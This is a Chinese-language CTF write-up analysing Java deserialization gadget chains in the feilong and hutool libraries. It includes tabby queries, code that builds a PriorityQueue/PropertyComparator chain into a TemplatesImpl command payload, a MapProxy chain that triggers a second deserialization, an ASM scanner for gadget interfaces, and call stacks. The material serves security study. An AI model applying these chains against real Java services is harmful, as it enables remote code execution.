PropertyComparator 原生链

可以用 tabby 找到 com.feilong.core.util.comparator.PropertyComparator#compare(T, T)

1
2
3
4
5
6
match (source:Method)
where (source.CLASSNAME starts with "com.feilong." or source.CLASSNAME starts with "cn.hutool")
and source.NAME = "compare"
match (sink:Method{IS_SINK:true})
call tabby.algo.findJavaGadget(source, "-", sink, 5, TRUE) yield path
return path limit 20

构造原生链子

1
2
3
4
5
6
7
8
9
10
11
12
    public static Object getJdkChain(String cmd) throws Exception  
{
Object obj = getTemplatePayload(cmd);
// Comparator comparator = (Comparator) createInstanceUnsafely(Class.forName("com.google.common.collect.UsingToStringOrdering"));
PropertyComparator comparator = new PropertyComparator("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add("1");
queue.add("2");
setFieldValue(queue, "queue", new Object[]{ obj,"1"});
setFieldValue(queue, "comparator", comparator);
return queue;
}

调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:1922, PropertyUtilsBean (com.feilong.lib.beanutils)
getSimpleProperty:1095, PropertyUtilsBean (com.feilong.lib.beanutils)
getSimpleProperty:1079, PropertyUtilsBean (com.feilong.lib.beanutils)
getProperty:825, PropertyUtilsBean (com.feilong.lib.beanutils)
getProperty:162, PropertyUtils (com.feilong.lib.beanutils)
getDataUseApache:89, PropertyValueObtainer (com.feilong.core.bean)
obtain:70, PropertyValueObtainer (com.feilong.core.bean)
getProperty:577, PropertyUtil (com.feilong.core.bean)
compare:430, PropertyComparator (com.feilong.core.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)

MapProxy 二次反序列化链

这个链子首先要从 sink 开始说起,位于 cn.hutool.core.io.IoUtil#readObj
用 tabby 查一下有没有比较简单的调用,这里只查出来一条

1
2
3
4
5
6
match (source:Method)
where (source.CLASSNAME starts with "cn.hutool.")
match (sink:Method)
where sink.NAME="readObj" and sink.CLASSNAME = "cn.hutool.core.io.IoUtil"
call tabby.algo.findPath(source, "-", sink, 5, true) yield path
return path limit 10

![[_resources/AliyunCTF JTools/9d5a59ad462471a16ee6a8a323b04d08_MD5.jpeg]]
也就是在 cn.hutool.core.convert.impl.BeanConverter#convertInternal 触发二次反序列化
我们继续向上查找(这里分段是因为整个查不出来)

1
2
3
4
5
6
match (source:Method)
where (source.CLASSNAME starts with "cn.hutool.core.convert.")
match (sink:Method)
where sink.NAME="convertInternal" and sink.CLASSNAME = "cn.hutool.core.convert.impl.BeanConverter"
call tabby.algo.findPath(source, "-", sink, 8, true) yield path
return path limit 10

![[_resources/AliyunCTF JTools/55e29538575d87b8995fd51fe94db712_MD5.jpeg]]
定位到 cn.hutool.core.convert.Convert#convert
继续查询

1
2
3
4
5
6
match (source:Method)
where source.NAME0="java.lang.reflect.InvocationHandler#invoke"
match (sink:Method)
where sink.NAME="convert" and sink.CLASSNAME = "cn.hutool.core.convert.Convert"
call tabby.algo.findPath(source, "-", sink, 4, true) yield path
return path limit 10

![[_resources/AliyunCTF JTools/e25cedff3dbd0980dc5a5d0461b64017_MD5.jpeg]]
最后找到位于 cn.hutool.core.map.MapProxy,这是一个动态代理类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public Object invoke(Object proxy, Method method, Object[] args) {  
Class<?>[] parameterTypes = method.getParameterTypes();
String methodName;
if (ArrayUtil.isEmpty(parameterTypes)) {
Class<?> returnType = method.getReturnType();
if (Void.TYPE != returnType) {
methodName = method.getName();
String fieldName = null;
if (methodName.startsWith("get")) {
fieldName = StrUtil.removePreAndLowerFirst(methodName, 3);
} else if (BooleanUtil.isBoolean(returnType) && methodName.startsWith("is")) {
fieldName = StrUtil.removePreAndLowerFirst(methodName, 2);
} else {
if ("hashCode".equals(methodName)) {
return this.hashCode();
}

if ("toString".equals(methodName)) {
return this.toString();
}
}

if (StrUtil.isNotBlank(fieldName)) {
if (!this.containsKey(fieldName)) {
fieldName = StrUtil.toUnderlineCase(fieldName);
}

return Convert.convert(method.getGenericReturnType(), this.get(fieldName));
}
}
} else if (1 == parameterTypes.length) {
String methodName = method.getName();
if (methodName.startsWith("set")) {
methodName = StrUtil.removePreAndLowerFirst(methodName, 3);
if (StrUtil.isNotBlank(methodName)) {
this.put(methodName, args[0]);
Class<?> returnType = method.getReturnType();
if (returnType.isInstance(proxy)) {
return proxy;
}
}
} else if ("equals".equals(methodName)) {
return this.equals(args[0]);
}
}

throw new UnsupportedOperationException(method.toGenericString());
}

当代理函数参数为 0,并且返回值不为 void 时可以触发 Convert.convert
而最终走到 cn.hutool.core.convert.ConverterRegistry#convert(java.lang.reflect.Type, java.lang.Object, T, boolean) 时才是关键位置
这里需要满足代理函数返回值是类型通过 BeanUtil.isBean(rowType),最终才会调用 cn.hutool.core.convert.impl.BeanConverter#convertInternal

1
2
3
public static boolean isBean(Class<?> clazz) {  
return hasSetter(clazz) || hasPublicField(clazz);
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
readObject:466, ObjectInputStream (java.io)
readObj:615, IoUtil (cn.hutool.core.io)
readObj:582, IoUtil (cn.hutool.core.io)
readObj:563, IoUtil (cn.hutool.core.io)
deserialize:70, SerializeUtil (cn.hutool.core.util)
deserialize:594, ObjectUtil (cn.hutool.core.util)
convertInternal:92, BeanConverter (cn.hutool.core.convert.impl)
convert:58, AbstractConverter (cn.hutool.core.convert)
convert:243, ConverterRegistry (cn.hutool.core.convert)
convert:262, ConverterRegistry (cn.hutool.core.convert)
convertWithCheck:753, Convert (cn.hutool.core.convert)
convert:706, Convert (cn.hutool.core.convert)
convert:677, Convert (cn.hutool.core.convert)
invoke:147, MapProxy (cn.hutool.core.map)

寻找接口函数

满足条件的接口需要满足以下条件

1
2
3
4
5
1.是一个接口中的函数
2.函数名以get或者is开头
3.是一个无参函数
4.返回值类型满足函数BeanUtil.isBean(rowType)
5.不在cn.hutool.core.convert.ConverterRegistry#defaultConverterMap中

我们用 asm 来寻找,主要逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
    static class InterfaceMethodScanner extends ClassVisitor {  
private boolean isInterface;
private String className;

public InterfaceMethodScanner() {
super(Opcodes.ASM9);
}

@Override
public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
// 判断是否为接口
isInterface = (access & Opcodes.ACC_INTERFACE) != 0;
className = name;
super.visit(version, access, name, signature, superName, interfaces);
}

@Override
public org.objectweb.asm.MethodVisitor visitMethod(int access, String methodName, String descriptor, String signature, String[] exceptions) {
// 仅处理接口中的方法
if (!isInterface) {
return null;
}
// 方法名必须以 "get" 或 "is" 开头
if (!(methodName.startsWith("get") || methodName.startsWith("is"))) {
return null;
}
// 方法必须为无参函数
Type methodType = Type.getMethodType(descriptor);
if (methodType.getArgumentTypes().length != 0) {
return null;
}
// 返回类型要求为对象类型
Type returnType = methodType.getReturnType();
if (returnType.getSort() != Type.OBJECT) {
return null;
}

String retClassName = returnType.getClassName();
// if (retClassName.contains("Digest"))
// {
// System.out.println("aaaa");
// }
// 检查返回类型是否在黑名单中
if (BLACKLIST.contains(retClassName)) {
return null;
}

// 使用自定义函数 BeanUtil.isBean() 检查返回类型是否满足 bean 的条件
try {
Class<?> retClass = Class.forName(retClassName);
if (!BeanUtil.isBean(retClass)) {
return null;
}
System.out.println("接口: " + className.replace('/', '.')
+ " 方法: " + methodName
+ " 返回类型: " + retClassName);
} catch (ClassNotFoundException e) {
// 如果加载返回类型失败,则跳过该方法
return null;
}

return null;
}
}

最终找到以下满足条件的方法,这是 jar 包里面的,jdk 当中也有很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
接口: com.feilong.lib.springframework.core.io.Resource  方法: getFile  返回类型: java.io.File
接口: com.feilong.lib.springframework.util.ConcurrentReferenceHashMap$Reference 方法: get 返回类型: com.feilong.lib.springframework.util.ConcurrentReferenceHashMap$Entry
接口: com.feilong.lib.org.apache.http.conn.ManagedHttpClientConnection 方法: getSocket 返回类型: java.net.Socket
接口: com.feilong.lib.org.apache.http.FormattedHeader 方法: getBuffer 返回类型: com.feilong.lib.org.apache.http.util.CharArrayBuffer
接口: com.feilong.excel.ExcelConfig 方法: getDefinition 返回类型: com.feilong.excel.ExcelDefinition
接口: com.feilong.lib.digester3.ObjectCreationFactory 方法: getDigester 返回类型: com.feilong.lib.digester3.Digester
接口: com.feilong.lib.digester3.Rules 方法: getDigester 返回类型: com.feilong.lib.digester3.Digester
接口: org.apache.fury.shaded.org.codehaus.janino.Java$PackageMemberTypeDeclaration 方法: getDeclaringCompilationUnit 返回类型: org.apache.fury.shaded.org.codehaus.janino.Java$CompilationUnit
接口: org.slf4j.event.LoggingEvent 方法: getThrowable 返回类型: java.lang.Throwable
接口: cn.hutool.core.annotation.AnnotationAttribute 方法: getAttribute 返回类型: java.lang.reflect.Method
接口: cn.hutool.core.annotation.WrappedAnnotationAttribute 方法: getAttribute 返回类型: java.lang.reflect.Method
接口: cn.hutool.db.dialect.Dialect 方法: getWrapper 返回类型: cn.hutool.db.sql.Wrapper
接口: cn.hutool.json.JSON 方法: getConfig 返回类型: cn.hutool.json.JSONConfig
接口: cn.hutool.json.JSONGetter 方法: getConfig 返回类型: cn.hutool.json.JSONConfig

我们随便找个接口,用上面的方法触发 getter,然后可以触发到 invoke,完成完整调用
最终调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:1922, PropertyUtilsBean (com.feilong.lib.beanutils)
getSimpleProperty:1095, PropertyUtilsBean (com.feilong.lib.beanutils)
getSimpleProperty:1079, PropertyUtilsBean (com.feilong.lib.beanutils)
getProperty:825, PropertyUtilsBean (com.feilong.lib.beanutils)
getProperty:162, PropertyUtils (com.feilong.lib.beanutils)
getDataUseApache:89, PropertyValueObtainer (com.feilong.core.bean)
obtain:70, PropertyValueObtainer (com.feilong.core.bean)
getProperty:577, PropertyUtil (com.feilong.core.bean)
compare:430, PropertyComparator (com.feilong.core.util.comparator)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2345, ObjectInputStream (java.io)
readOrdinaryObject:2236, ObjectInputStream (java.io)
readObject0:1692, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
readObj:615, IoUtil (cn.hutool.core.io)
readObj:582, IoUtil (cn.hutool.core.io)
readObj:563, IoUtil (cn.hutool.core.io)
deserialize:70, SerializeUtil (cn.hutool.core.util)
deserialize:594, ObjectUtil (cn.hutool.core.util)
convertInternal:92, BeanConverter (cn.hutool.core.convert.impl)
convert:58, AbstractConverter (cn.hutool.core.convert)
convert:243, ConverterRegistry (cn.hutool.core.convert)
convert:262, ConverterRegistry (cn.hutool.core.convert)
convertWithCheck:753, Convert (cn.hutool.core.convert)
convert:706, Convert (cn.hutool.core.convert)
convert:677, Convert (cn.hutool.core.convert)
invoke:147, MapProxy (cn.hutool.core.map)
getWarnings:-1, $Proxy0 (com.sun.proxy)
main:32, MapProxyTest (challenge)

Reference

https://xz.aliyun.com/news/17029
https://mp.weixin.qq.com/s/dMl0aEg6p7w7MKlUe7pCdg